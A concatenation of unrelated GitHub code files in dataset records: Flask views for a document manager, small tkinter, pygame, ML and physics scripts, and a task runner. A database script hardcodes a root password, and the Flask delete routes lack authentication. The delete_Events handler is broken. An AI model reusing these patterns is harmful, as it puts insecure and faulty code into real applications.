      db.session.add(new_note)\r\n        db.session.commit()\r\n        flash('added!', category='success')  \r\n\r\n\r\n    return render_template(\"home.html\", user=current_user)\r\n\r\n\r\n\r\n\r\n  \r\n@views.route('/Workshops', methods=['GET', 'POST'])\r\n@login_required\r\ndef workshops():\r\n    if request.method == 'POST':\r\n        Academic_Year = request.form['Academic_Year']\r\n        Workshop_Name = request.form['Workshop_Name']\r\n        Proposal_Date = request.form['Proposal_Date']\r\n        Conductin_Date = request.form['Conductin_Date']\r\n        Instituion_Approval = request.form['Instituion_Approval']\r\n        Report = request.form['Report']\r\n       \r\n\r\n        new_Workshops = Workshops(Academic_Year=Academic_Year, Workshop_Name=Workshop_Name, Proposal_Date=Proposal_Date,Conductin_Date=Conductin_Date,Instituion_Approval=Instituion_Approval,Report=Report, user_id=current_user.id)\r\n\r\n        db.session.add(new_Workshops)\r\n        db.session.commit()\r\n        flash('Workshops added!', category='success')\r\n    return render_template(\"workshops.html\",user=current_user)\r\n\r\n\r\n\r\n@views.route('/Events', methods=['GET', 'POST'])\r\n@login_required\r\ndef events():\r\n    if request.method == 'POST':\r\n        Event_Name = request.form['Event_Name']\r\n        Proposal_Date = request.form['Proposal_Date']\r\n        Conductin_Date = request.form['Conductin_Date']\r\n        Instituion_Approval = request.form['Instituion_Approval']\r\n        Report = request.form['Report']\r\n       \r\n\r\n        new_events = Events(Event_Name=Event_Name, Proposal_Date=Proposal_Date,Conductin_Date=Conductin_Date,Instituion_Approval=Instituion_Approval,Report=Report, user_id=current_user.id)\r\n\r\n        db.session.add(new_events)\r\n        db.session.commit()\r\n        flash('Events added!', category='success')\r\n    return render_template(\"events.html\",user=current_user)\r\n\r\n\r\n@views.route('/Publications', methods=['GET', 'POST'])\r\n@login_required\r\ndef publication():\r\n    if request.method == 'POST':\r\n        JournalName_Conference = request.form['JournalName_Conference']\r\n        ISSN_ISBN_Number_Progress = request.form['ISSN_ISBN_Number_Progress']\r\n        Month_and_Year = request.form['Month_and_Year']\r\n        Title = request.form['Title']\r\n        Link = request.form['Link']\r\n       \r\n\r\n        new_publications = publications(JournalName_Conference=JournalName_Conference, ISSN_ISBN_Number_Progress=ISSN_ISBN_Number_Progress,Month_and_Year=Month_and_Year,Title=Title,Link=Link, user_id=current_user.id)\r\n\r\n        db.session.add(new_publications)\r\n        db.session.commit()\r\n        flash('publications added!', category='success')\r\n    return render_template(\"publications.html\",user=current_user)\r\n\r\n\r\n\r\n\r\n@views.route('/FDP', methods=['GET', 'POST'])\r\n@login_required\r\ndef fdp():\r\n    if request.method == 'POST':\r\n        Proposal_Name = request.form['Proposal_Name']\r\n        Organization_Name = request.form['Organization_Name']\r\n        Start_Date = request.form['Start_Date']\r\n        Completion_Date = request.form['Completion_Date']\r\n        Status_Preparation = request.form['Status_Preparation']\r\n        Proposal_Copy = request.form['Proposal_Copy']\r\n        Final_Report = request.form['Final_Report']\r\n       \r\n\r\n        new_FDP = FDP(Proposal_Name=Proposal_Name, Organization_Name=Organization_Name, Start_Date=Start_Date,Completion_Date=Completion_Date,Status_Preparation=Status_Preparation,Proposal_Copy=Proposal_Copy,Final_Report=Final_Report, user_id=current_user.id)\r\n\r\n        db.session.add(new_FDP)\r\n        db.session.commit()\r\n        flash('FDP added!', category='success')\r\n    return render_template(\"FDP.html\", user=current_user)\r\n\r\n\r\n@views.route('/CP', methods=['GET', 'POST'])\r\n@login_required\r\ndef cp():\r\n    if request.method == 'POST':\r\n        Proposal_Name = request.form['Proposal_Name']\r\n        Organization_Name = request.form['Organization_Name']\r\n        Start_Date = request.form['Start_Date']\r\n        Completion_Date = request.form['Completion_Date']\r\n        Status_Preparation = request.form['Status_Preparation']\r\n        Proposal_Copy = request.form['Proposal_Copy']\r\n        Final_Report = request.form['Final_Report']\r\n       \r\n\r\n        new_FDP = CP(Proposal_Name=Proposal_Name, Organization_Name=Organization_Name, Start_Date=Start_Date,Completion_Date=Completion_Date,Status_Preparation=Status_Preparation,Proposal_Copy=Proposal_Copy,Final_Report=Final_Report, user_id=current_user.id)\r\n\r\n        db.session.add(new_FDP)\r\n        db.session.commit()\r\n        flash('FDP added!', category='success')\r\n    return render_template(\"cp.html\", user=current_user)\r\n\r\n@views.route('/JOURNAL', methods=['GET', 'POST'])\r\n@login_required\r\ndef journal():\r\n    if request.method == 'POST':\r\n        JournalName = request.form['JournalName']\r\n        ISSN_Number = request.form['ISSN_Number']\r\n        month_and_years = request.form['month_and_years']\r\n        Title = request.form['Title']\r\n        Paper_Link = request.form['Paper_Link']\r\n       \r\n\r\n        new_FDP = JOURNAL(JournalName=JournalName, ISSN_Number=ISSN_Number, month_and_years=month_and_years,Title=Title,Paper_Link=Paper_Link,user_id=current_user.id)\r\n\r\n        db.session.add(new_FDP)\r\n        db.session.commit()\r\n        flash('FDP added!', category='success')\r\n    return render_template(\"journal.html\", user=current_user)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n@views.route('/download')\r\n@login_required\r\ndef download():\r\n    \r\n    all_data= Note.query.filter_by(user_id=current_user.id).all()\r\n\r\n    with open(f'website/static/data/{current_user.id}.csv',\"w+\") as f:\r\n        for data in all_data:\r\n            row = f\"{data.title}, {data.author},{data.department_teacher},{data.journal},{data.publication_year},{data.link},{data.h_index}\"\r\n            f.write(row)  \r\n            f.write(\"\\n\")\r\n    \r\n    return render_template(\"download.html\", link=f'/static/data/{current_user.id}.csv')\r\n\r\n\r\n\r\n\r\n\r\n@views.route('/delete-note', methods=['POST'])\r\ndef delete_note():\r\n    note = json.loads(request.data)\r\n    noteId = note['noteId']\r\n    note = Note.query.get(noteId)\r\n    if note:\r\n        if note.user_id == current_user.id:\r\n            db.session.delete(note)\r\n            db.session.commit()\r\n        return jsonify({})\r\n\r\n\r\n\r\n\r\n\r\n\r\n@views.route('/delete-events', methods=['POST'])\r\ndef delete_Events():\r\n    Events = json.loads(request.data)\r\n    EventsId = Events['EventsId']\r\n    Events = Events.query.get(EventsId)\r\n    if Events:\r\n        if events.user_id == current_user.id:\r\n            db.session.delete(Events)\r\n            db.session.commit()\r\n        return jsonify({})\r\n\r\n\r\n\r\n","repo_name":"saiadupa/Paperless-document-management-system-software","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7574,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"3664663121","text":"from tkinter import *\n\nwindow = Tk()\n\nwindow.title(\"Welcome to Kalpesh First app\")\n\nwindow.geometry('350x200')\n\nlbl = Label(window, text=\"Hello\")\n\nlbl.grid(column=0, row=0)\n\ntxt = Entry(window,width=10)\n\ntxt.grid(column=1, row=0)\n\ndef clicked():\n    res = \"Welcome to \" + txt.get()\n    lbl.configure(text= res)\n\nbtn = Button(window, text=\"Click Me\", command=clicked)\n\nbtn.grid(column=2, row=0)\n\nwindow.mainloop()\n","repo_name":"Kalpesh14m/TK_Demo","sub_path":"TK_Demo/7_Event_Handling_With_Text_Box.py","file_name":"7_Event_Handling_With_Text_Box.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"75087273381","text":"from environment import Market\nfrom model import Q_Model\nfrom agent import Agent\nfrom sequence_generator import Single_Signal_Generator\nfrom simulator import Simulator\n\nsampler = Single_Signal_Generator(total_timesteps=180, period_range=(10, 40), amplitude_range=(5, 80), noise_amplitude_ratio=0.5)\nfilename = \"Generated Signals.npy\"\nsampler.build_signals(filename, 1000)\nsampler.load(filename)\n\nenv = Market(sampler=sampler, last_n_timesteps=40, buy_cost=3.3)\n\ndense_model = [\n    {\"type\":\"Reshape\", \"target_shape\":(env.get_state().shape[0]*env.get_state().shape[1],)},\n    {\"type\":\"Dense\", \"units\":30},\n    {\"type\":\"Dense\", \"units\":30}\n]\nconv_model = [\n    {\"type\":\"Reshape\", \"target_shape\":env.get_state().shape},\n    {\"type\":\"Conv1D\", \"filters\":16, \"kernel_size\":3, \"activation\":\"relu\"},\n    {\"type\":\"Conv1D\", \"filters\":16, \"kernel_size\":3, \"activation\":\"relu\"},\n    {\"type\":\"Flatten\"},\n    {\"type\":\"Dense\", \"units\":48, \"activation\":\"relu\"},\n    {\"type\":\"Dense\", \"units\":24, \"activation\":\"relu\"}\n]\ngru_model = [\n    {\"type\":\"Reshape\", \"target_shape\":env.get_state().shape},\n    {\"type\":\"GRU\", \"units\":16, \"return_sequences\":True},\n    {\"type\":\"GRU\", \"units\":16, \"return_sequences\":False},\n    {\"type\":\"Dense\", \"units\":16, \"activation\":\"relu\"},\n    {\"type\":\"Dense\", \"units\":16, \"activation\":\"relu\"}\n]\nlstm_model = [\n    {\"type\":\"Reshape\", \"target_shape\":env.get_state().shape},\n    {\"type\":\"LSTM\", \"units\":16, \"return_sequences\":True},\n    {\"type\":\"LSTM\", \"units\":16, \"return_sequences\":False},\n    {\"type\":\"Dense\", \"units\":16, \"activation\":\"relu\"},\n    {\"type\":\"Dense\", \"units\":16, \"activation\":\"relu\"}\n]\n\nq_model = Q_Model(\"GRU\", state_dim=env.get_state().shape, no_of_actions=env.no_of_actions, layers=dense_model, hyperparameters={\"lr\":0.0001})\nagent = Agent(q_model, batch_size=8, discount_factor=0.8, epsilon=1)\n\nno_of_episodes_train = 100\nno_of_episodes_test = 100\n\nsim = Simulator(env, agent)\nsim.train(no_of_episodes_train, epsilon_decay=0.997)\nagent.model.save()\nsim.test(no_of_episodes_test)","repo_name":"siddharthnishtala/DQN-Trader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"35"}
{"seq_id":"24771473620","text":"\n\nimport numpy as np \nimport pandas as pd\nimport matplotlib \nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder, StandardScaler\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\n\ndataset = pd.read_csv('trainData.csv')\ndataset.head()\n\ntestDataset=pd.read_csv('testdata.csv')\ntestDataset=pd.DataFrame(testDataset)\ntestDataset.head()\n\ndataset.replace({\"?\":np.nan},inplace=True)\ndataset = dataset.apply(lambda x: x.fillna(x.value_counts().index[0]))\n\n\ntestDataset.replace({\"?\":np.nan},inplace=True)\n#testDataset.fillna(method='ffill',axis=0,inplace=True)\ntestDataset=testDataset.apply(lambda x: x.fillna(x.value_counts().index[0]))\n\n\n\n\n#convert nominal to numeric\nfrom sklearn.preprocessing import LabelEncoder\nlb_make = LabelEncoder()\nl=['A1','A3','A4','A6','A8','A9','A11','A13','A15']\n\nfor i in l:\n     temp = lb_make.fit_transform(dataset[i])\n     dataset[i] = temp\n\n     temp1 = lb_make.fit_transform(testDataset[i])\n     testDataset[i] = temp1\n\nfeature_names = ['A1','A2','A3','A4', 'A5','A6', 'A7','A8', 'A9','A10','A11',\"A12\",\"A13\",'A14','A15']\nX = dataset[feature_names]\ny = dataset['A16']\n\n\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y,test_size = 0.3,random_state = 101)\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.svm import SVC\n\npipeline = Pipeline([\n    ('normalizer', StandardScaler()), #Step1 - normalize data\n    ('clf', SVC()) #step2 - classifier\n])\n\n\ncv_grid = GridSearchCV(pipeline, param_grid = {\n    'clf__kernel' : ['linear', 'rbf'],\n    'clf__C' : np.linspace(0.1,1.2,12)\n})\n\ncv_grid.fit(X, y)\n\ny_predict = cv_grid.predict(testDataset)\nprint('\\n'.join(y_predict))\n\n\n\n\n\n","repo_name":"PrasadM96/CO544_Machine-Leaning-Project-Classification-Problem","sub_path":"SVC_piepline_grid.py","file_name":"SVC_piepline_grid.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"36765858221","text":"#在数据库中建表以保存图书信息\nimport pymysql\n\nconn = pymysql.connect('localhost', 'root', '666666', 'test')\n\ncursor = conn.cursor()\n\nsql = \"\"\"create table books(id int  primary key auto_increment, name VARCHAR(100),author VARCHAR(100), score varchar(50), arg varchar(50))\"\"\"\n\ncursor.execute(sql)\n\nconn.commit()\nconn.close()\n","repo_name":"sheeryss/spider","sub_path":"main/io_mysql/create_table.py","file_name":"create_table.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"146129635","text":"# -*- coding: utf-8 -*-\n# By Daniel Petri 2012-2014. Graphics by Paulo Ditzel and Peter Pluecker.\n# Special thanks to Michail (michailgames.com)\n# Check out the 'Encyclopedia' README file to discover how this code works\n# -*- CC BY-NC 4.0 -*-\n\n#中文翻译--戴君儒\n\nimport pygame, sys, math, random\nfrom pygame.locals import *\n\nif not pygame.font:\n    print('Warning, fonts disabled!')\nif not pygame.mixer:\n    print('Warning, sound disabled!')\n\n背景 = 'data/background/bg.jpg'\n船 = 'data/living/ship.png'\n流星 = 'data/rocks/meteor.png'\n流星碎片 = 'data/rocks/meteor_debris.png'\n地球 = 'data/rocks/earth.png'\n火星 = 'data/rocks/mars.png'\n木星 = 'data/rocks/jupiter.png'\n敌舰_1 ='data/living/enemyship1.png'\n敌舰_2 = 'data/living/enemyship2.png'\n敌舰_3 = 'data/living/enemyship3.png'\n玩家导弹_1 = 'data/effects/playermissile1.png'\n\npygame.init()\n\n#sound setup below (for future use)\n\nclass Player(object):\n    def __init__(自己, x, y, 图片, 生命值, 防护, 流星碰撞, 船碰撞, 射击):\n        自己.x = x\n        自己.y = y\n        自己.图片 = 图片\n        自己.生命值 = 生命值\n        自己.防护 = 防护\n        自己.流星碰撞 = 流星碰撞\n        自己.船碰撞 = 船碰撞\n        自己.射击 = 射击\n        \nclass Background(object):\n    def __init__(自己, x, y, 图片, 速度):\n        自己.x = x\n        自己.y = y\n        自己.图片 = 图片\n        自己.速度 = 速度\n\nclass Meteor(object):\n    def __init__(自己, x, y, 图片, 分数, 方向, 预设图片):\n        自己.x = x\n        自己.y = y\n        自己.图片 = 图片\n        自己.分数 = 分数\n        自己.方向 = 方向\n        自己.旋转 = 图片\n        自己.预设图片 = 预设图片\n\nclass Planet(object):\n    def __init__(自己, x, y, 图片, 大小):\n        自己.x = x\n        自己.y = y\n        自己.图片 = 图片\n        自己.大小 = 大小\n\nclass Ship(object):\n    def __init__(自己, x, y, 图片, 速度, 快速, 分数):\n        自己.x = x\n        自己.y = y\n        自己.图片 = 图片\n        自己.速度 = 速度\n        自己.快速 = 快速\n        自己.分数 = 分数\n\nclass Bullet(object):\n    def __init__(自己, x, y, 图片, 速度):\n        自己.x = x\n        自己.y = y\n        自己.图片 = 图片\n        自己.速度 = 速度\n\n宽 = 960 # x coord\n高 = 720 # y coord\n\n#Colors\n白 = (255, 255, 255)\n黑 = (0,0,0)\n红 = (192,0,0)\n黄 = (238,201,0)\n绿 = (50, 205, 50)\n\n太空字体 = pygame.font.Font('data/font/astro.ttf',20)\n\n画面 = pygame.display.set_mode((宽,高), 0, 32)\npygame.display.set_caption(\"Nebula Wars 0.3\")\n\n#Sprites\n背景 = pygame.image.load(背景).convert()\n船 = pygame.image.load(船).convert_alpha()\n流星 = pygame.image.load(流星).convert_alpha()\n流星碎片 = pygame.image.load(流星碎片).convert_alpha()\n地球 = pygame.image.load(地球).convert_alpha()\n火星 = pygame.image.load(火星).convert_alpha()\n木星 = pygame.image.load(木星).convert_alpha()\n敌舰_1 = pygame.image.load(敌舰_1).convert_alpha()\n敌舰_2 = pygame.image.load(敌舰_2).convert_alpha()\n敌舰_3 = pygame.image.load(敌舰_3).convert_alpha()\n玩家导弹_1 = pygame.image.load(玩家导弹_1).convert_alpha()\n\n显示张数 = pygame.time.Clock()\n\n#Classes\n玩家=Player(0, 0, 船, 100, 100, False, False, False) # x, y, img, health, shield, meteor_collision, ship_collision, shooting\n画面背景=Background(0, 0, 背景, 1)\n流星=Meteor(960, 180, 流星, 0, -1, 流星)\n行星=Planet(960, 360, 地球, 3)\n飞行船=Ship(960, 360, 敌舰_1, 3, 0, 0)\n子弹=Bullet(宽, 0, 玩家导弹_1, 13)\n\ndef addRocks():\n    画面.blit(行星.图片, (行星.x, 行星.y)) #Draws\n    画面.blit(流星.图片, (流星.x, 流星.y))\n    \n    #=======================Planet=====================#\n    if 行星.大小 == 1:\n        行星.图片 = pygame.transform.scale(行星.图片, (70, 72))\n        行星.x -= 2\n    elif 行星.大小 == 2:\n        行星.图片 = pygame.transform.scale(行星.图片, (140, 144))\n        行星.x -= 3\n    else:\n        行星.图片 = pygame.transform.scale(行星.图片, (280, 288))\n        行星.x -= 4\n        \n    if 行星.x < -300:\n       行星.图片 = random.randint(1,3)\n       if 行星.图片 == 3:\n           行星.图片 = 地球\n       if 行星.图片 == 2:\n           行星.图片 = 火星\n       if 行星.图片 == 1:\n          行星.图片 = 木星\n       行星.大小 = random.randint(1,3)\n       行星.x = 980\n       行星.y = random.randint(100, 500)\n       \n    #=======================Meteor=====================#\n    流星.x -= 8 #Speed\n    流星.y += 流星.方向  #Direction\n    \n    流星.图片 = pygame.transform.rotate(流星.旋转, 流星.分数)\n    流星.分数 += 1\n\n    if 玩家.流星碰撞 == True:\n        流星.旋转 = 流星碎片\n\n    else:\n        流星.旋转 = 流星.预设图片\n        \n    if 流星.x <= -120 or 流星.y > 高+120 or 流星.y < -120: #Makes meteor go back if it leaves the window or crashes into the player's ship\n       流星.x = random.randint(960, 1000)\n       流星.y = random.randint(50, 720)\n       流星.方向 *= -1\n       玩家.流星碰撞 = False\n       流星.图片 = 流星.预设图片\n\ndef addShips():\n    if not 玩家.船碰撞:\n        画面.blit(飞行船.图片, (飞行船.x, 飞行船.y)) #Draws enemy ship\n    画面.blit(玩家.图片, (玩家.x, 玩家.y)) #Draws player ship\n\n    飞行船.x -= 飞行船.速度 #Moves ship sideways\n    \n    if 飞行船.x > 780: #Moves ship a little bit up\n        飞行船.y += 飞行船.快速\n\n    if 飞行船.图片 == 敌舰_1: #Speed variation\n        飞行船.速度 = 3\n        if 飞行船.x < 640:\n            飞行船.速度 = 15\n            \n    if 飞行船.图片 == 敌舰_2:\n        飞行船.速度 = 7\n        \n    if 飞行船.图片 == 敌舰_3:\n        飞行船.速度 = 5\n        \n    if 飞行船.x <= -120 or 飞行船.y > 高+120 or 飞行船.y < -120: #Checks if ship is offscreen. If so, adds a new one\n       玩家.船碰撞 = False # Ship collision is always set to False when it spawns\n       飞行船.分数 = 0 #Same applies to it's rotation\n       \n       飞行船.图片 = random.randint(1,3) #Change the type of a random ship\n       if 飞行船.图片 == 3:\n           飞行船.图片 = 敌舰_3\n       if 飞行船.图片 == 2:\n           飞行船.图片 = 敌舰_2\n       if 飞行船.图片 == 1:\n           飞行船.图片 = 敌舰_1\n           \n       飞行船.x = random.randint(960, 1000)\n       飞行船.y = random.randint(50, 650)\n\n       if 飞行船.快速 >= 0: #Controls ship AI direction\n           飞行船.快速 *= -1\n       \n       if 飞行船.y > 360: #Selects random Y direction\n           飞行船.快速 += 0.5\n\n       else:\n           飞行船.快速 -= 0.5\n           \ndef animateBackground():\n    画面.blit(画面背景.图片, (画面背景.x, 画面背景.y)) #BG 1\n    画面.blit(画面背景.图片, (画面背景.x+宽, 画面背景.y)) #BG 2\n\n    画面背景.x -= 画面背景.速度\n\n    if 画面背景.x <= -960:\n        画面背景.x = 0\n\ndef drawText(文字, 字体, x, y, 颜色):\n        textobj = 字体.render(文字, 1, 颜色)\n        textrect = textobj.get_rect()\n        textrect.topleft = (x, y)\n        画面.blit(textobj, textrect)\n\ndef shoot():    \n    if 玩家.射击 == True:\n        画面.blit(子弹.图片, (子弹.x, 子弹.y)) #Blits bullet's image\n        if 子弹.x < 宽:\n            子弹.x += 子弹.速度\n\ndef collisionBoxes(): #Draws collision boxes and checks for them. Note to 自己: screen, color, (x, y, width, height), thickness\n    ##Player##\n    playerRect = [pygame.Rect(玩家.x+35, 玩家.y+28, 60, 5), #Creates multiple collision rectangles\n                  pygame.Rect(玩家.x+40, 玩家.y+35, 50, 5),\n                  pygame.Rect(玩家.x, 玩家.y+16, 40, 10),\n                  pygame.Rect(玩家.x+16, 玩家.y+10, 10, 5),\n                  pygame.Rect(玩家.x+85, 玩家.y+5, 52, 13)]\n\n    playerBox = list(playerRect)\n\n    #for rect in playerBox: pygame.draw.rect(screen, GREEN, rect, 1) #Allows you to see collision boxes\n    #pygame.draw.rect(screen, WHITE, (player.x, player.y, 148, 43), 1)\n\n    ##Meteor##\n    meteorBox = pygame.Rect((流星.x+10), (流星.y+10), 56, 43)\n    #pygame.draw.rect(screen, WHITE, meteorBox, 1)\n\n    ##Enemy Ship##\n    if 飞行船.图片 == 敌舰_1:\n        if 飞行船.x > 640:                                       ###\n            shipBox = pygame.Rect(飞行船.x, 飞行船.y, 43, 11)      ###\n            #pygame.draw.rect(screen, WHITE, shipBox, 1)       ###\n                                                               ### Prevents a lag in enemyship1's collision box when he boosts\n        else:                                                  ###\n            shipBox = pygame.Rect((飞行船.x+13), 飞行船.y, 43, 11) ###\n            #pygame.draw.rect(screen, WHITE, shipBox, 1)       ###\n\n    elif 飞行船.图片 == 敌舰_2:\n        shipBox = pygame.Rect((飞行船.x+5), 飞行船.y, 70, 20)\n        #pygame.draw.rect(screen, WHITE, shipBox, 1)\n\n    elif 飞行船.图片 == 敌舰_3:\n        shipBox = pygame.Rect(飞行船.x+6, 飞行船.y, 72, 46)\n        #pygame.draw.rect(screen, WHITE, shipBox, 1)\n\n    ##Bullet##\n    bulletBox = pygame.Rect(子弹.x, 子弹.y, 95, 17)\n    #pygame.draw.rect(screen, YELLOW, bulletBox, 1)\n    \n    ############# Actual collision #############\n\n    #If a player crashes into a meteor\n    if 玩家.流星碰撞 == False:\n        if 玩家.生命值 >= 0 and 流星.旋转 != 流星碎片:\n            for r1 in playerBox:\n                if r1.colliderect(meteorBox):    \n                    玩家.流星碰撞 = True\n                    玩家.生命值 -= ((1-(玩家.防护/100))*random.randint(30,50)) # The higher your shield, the less damage you take.\n                    玩家.防护 -= random.randint(15, 30)\n\n    #If a player crashes into a ship\n    def dropShip(): #Controls ship's death animation\n        飞行船.y += 15\n        飞行船.x -= 3\n        船掉落 = pygame.transform.rotate(飞行船.图片, 飞行船.分数)\n        画面.blit(船掉落, (飞行船.x, 飞行船.y))\n        飞行船.分数 -= 3 #Similar code to how the meteor's rotation works\n    \n    if 玩家.船碰撞 == False:\n        for r1 in playerBox:\n            if r1.colliderect(shipBox):\n                玩家.船碰撞 = True\n                if 飞行船.图片 == 敌舰_1:\n                    if 飞行船.x < 640: # Tiny enemy ship is moving fast... lots of damage shall be taken\n                        玩家.生命值 -= ((1-(玩家.防护/100))*random.randint(20,40))\n                        玩家.防护 -= random.randint(10, 20)\n\n                    else: # Tiny enemy is moving slowly\n                        玩家.生命值 -= ((1-(玩家.防护/100))*random.randint(5,12))\n                        玩家.防护 -= random.randint(2, 7)\n\n                elif 飞行船.图片 == 敌舰_2:\n                    玩家.生命值 -= ((1-(玩家.防护/100))*random.randint(15,25))\n                    玩家.防护 -= random.randint(19, 26)\n\n                else:\n                    玩家.生命值 -= ((1-(玩家.防护/100))*random.randint(27,37))\n                    玩家.防护 -= random.randint(28, 44)\n                                       \n    if 玩家.船碰撞: #Starts ship's death animation\n        dropShip()\n\n    #If a bullet crashes into a ship\n    if bulletBox.colliderect(shipBox):\n        玩家.船碰撞 = True\n\n    #If a bullet crashes into a meteor\n    if bulletBox.colliderect(meteorBox):\n        玩家.流星碰撞 = True\n        \n    ############# Dying and making sure your stats don't reach negative numbers #############\n    if 玩家.生命值 <= 0:\n        drawText('Game over', 太空字体, 400, 300, 白)\n        玩家.生命值 = 0\n\n    if 玩家.防护 < 0:\n        玩家.防护 = 0\n    \ndef draw():\n    animateBackground()\n    shoot()\n    addRocks()\n    addShips()\n    collisionBoxes()\n    \n    #Different display colors\n    if 玩家.生命值 >= 90:\n        drawText('healTh: %a shielD: %a'% (round(玩家.生命值), 玩家.防护), 太空字体, 5, 5, 白)\n    elif 玩家.生命值 >= 60 and 玩家.生命值 < 90:\n        drawText('healTh: %a shielD: %a'% (round(玩家.生命值), 玩家.防护), 太空字体, 5, 5, 绿)\n    elif 玩家.生命值 >= 40 and 玩家.生命值 < 60:\n        drawText('healTh: %a shielD: %a'% (round(玩家.生命值), 玩家.防护), 太空字体, 5, 5, 黄)\n    else: # player.health >= 0 and player.health < 40:\n        drawText('healTh: %a shielD: %a'% (round(玩家.生命值), 玩家.防护), 太空字体, 5, 5, 红)\n    ##########################\n    \ndef getEvents():\n    FULLSCREENMODE = False\n    \n    for event in pygame.event.get():\n        if event.type == QUIT:\n            end()\n\n        if event.type == MOUSEBUTTONDOWN:\n            if 子弹.x >= 宽: # Makes sure you can't shoot more than one bullet if one has already been shot\n                子弹.x = 玩家.x + 70 #Sets bullets coords for new shot\n                子弹.y = 玩家.y + 5\n\n                玩家.射击 = True\n            \n        if event.type == KEYUP:\n            if event.key == K_ESCAPE:\n                end()\n            \n            elif event.key == K_F11:\n                FULLSCREENMODE = not FULLSCREENMODE\n                if FULLSCREENMODE:\n                    画面 = pygame.display.set_mode((宽,高), FULLSCREEN) #Fullscreen\n                else:\n                    画面 = pygame.display.set_mode((宽,高), 0, 32) #Windowed\n\n    玩家.x, 玩家.y = pygame.mouse.get_pos() #\n    玩家.x -= 玩家.图片.get_width()/2 # mouse control\n    玩家.y -= 玩家.图片.get_height()/2 #\n\ndef end():\n    pygame.quit()\n    sys.exit()\n\ndef main():\n    while True:\n        getEvents()\n        draw()\n        显示张数.tick(30)\n        pygame.display.update()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"cd890123/Nebula-Wars","sub_path":"Nebula Wars.py","file_name":"Nebula Wars.py","file_ext":"py","file_size_in_byte":14071,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25582737390","text":"import sys\nimport os\nimport yaml\nimport logging\n\nclass color:\n  PURPLE = '\\033[95m'\n  CYAN = '\\033[96m'\n  DARKCYAN = '\\033[36m'\n  BLUE = '\\033[94m'\n  GREEN = '\\033[92m'\n  YELLOW = '\\033[93m'\n  RED = '\\033[91m'\n  BOLD = '\\033[1m'\n  UNDERLINE = '\\033[4m'\n  END = '\\033[0m'\n\ndef task_run(task, clients, cache):\n  try:\n    out = task.run(clients, cache)\n  except Exception as e:\n    logging.exception(str(e))\n    out = (False, str(e))\n  return out\n\ndef sync_print(*args):\n  sys.stdout.write(' '.join(map(str, args)))\n  sys.stdout.flush()\n\ndef print_task_label(task):\n    sync_print('...', ' '*15, unicode(task).encode('utf8'), '  ')\n\ndef run_tasks(task_list, clients, cache, registered, tags):\n  for task in task_list:\n    print_task_label(task)\n    if (not task.when or task.when.intersection(registered)) and (not tags or (task.tags and task.tags.intersection(tags))):\n      if task.need_context():\n        task.set_context(registered, tags)\n      (ok, message) = task_run(task, clients, cache)\n      if ok:\n        if message:\n          if task.register:\n            registered.update(task.register)\n          sync_print('\\r%ssuccess (%s)%s\\n' % (color.BLUE + color.BOLD, message, color.END))\n        else:\n          sync_print('\\r%ssuccess%s\\n' % (color.GREEN + color.BOLD, color.END))\n      else:\n        sync_print('\\r%sfailed\\njob failed with message \"%s\"!%s\\n' % (color.RED + color.BOLD, message, color.END))\n        if registered:\n          open('todo.yml', 'w').write('# registered events after last fail\\n'+yaml.dump(list(registered)))\n        else:\n          clear_todo()\n        sys.exit(1)\n    else:\n      sync_print('\\r%sskipped%s\\n' % (color.YELLOW + color.BOLD, color.END))\n\ndef clear_todo():\n  if os.path.exists('todo.yml'):\n    os.unlink('todo.yml')\n\n","repo_name":"Travelport-Czech/apila","sub_path":"tasks/task_runner.py","file_name":"task_runner.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"8180481791","text":"import numpy as np\nfrom .neighbouring import NeighbouringCellLinkedLists\nfrom .neighbouring import NeighbouringPrimitiveLists\nimport scipy.constants as constants\n\ndef lj_potential(r, sigma=1.0, epsilon=1.0):\n    r\"\"\"\n    Compute the Lennard-Jones potential.\n\n    Parameters\n    ----------\n    r : float or array-like of float\n        Euklidean particle-particle distance(s).\n    sigma : float, optional, default=1.0\n        Zero crossing distance.\n    epsilon : float, optional, default=1.0\n        Depth of the potential well.\n\n    Returns\n    -------\n    float or array-like of float\n        Lennard-Jones energy value(s).\n\n    \"\"\"\n    q = (sigma / r)**6\n    return 4.0 * (epsilon * (q * (q - 1.0))) * 1/constants.eV\n\ndef interaction_potential(xyz, sigma, epsilon):\n    r\"\"\"\n    Compute the interaction potential for a pair of particles.\n\n    Parameters\n    ----------\n    xyz : numpy.ndarray(shape=(n, d))\n        d-dimensional coordinates of n particles.\n    sigma : numpy.ndarray(shape=(n, 1))\n        List of zero crossing distances for the Lennard-Jones contribution.\n    epsilon : numpy.ndarray(shape=(n, 1))\n        List of depths of the potential well for the Lennard-Jones contribution.\n\n    Returns\n    -------\n    float\n        Total interaction potential.\n\n    \"\"\"\n    sigmalist = sigma\n    epslist = epsilon\n\n    # nlist = NeighbouringCellLinkedLists(xyz, radius=1.2, box_side_length=5)#box_side_length)\n    # nlist.create_neighbourlist()\n    nlist = NeighbouringPrimitiveLists(xyz,box_size=5)\n    [n,m] = xyz.shape\n\n    lj_interaction = 0\n\n    for i in range(0, n):\n        particle1 = i\n        sigma1 = sigmalist[particle1]\n        epsilon1 = epslist[particle1]\n\n        neighbors = 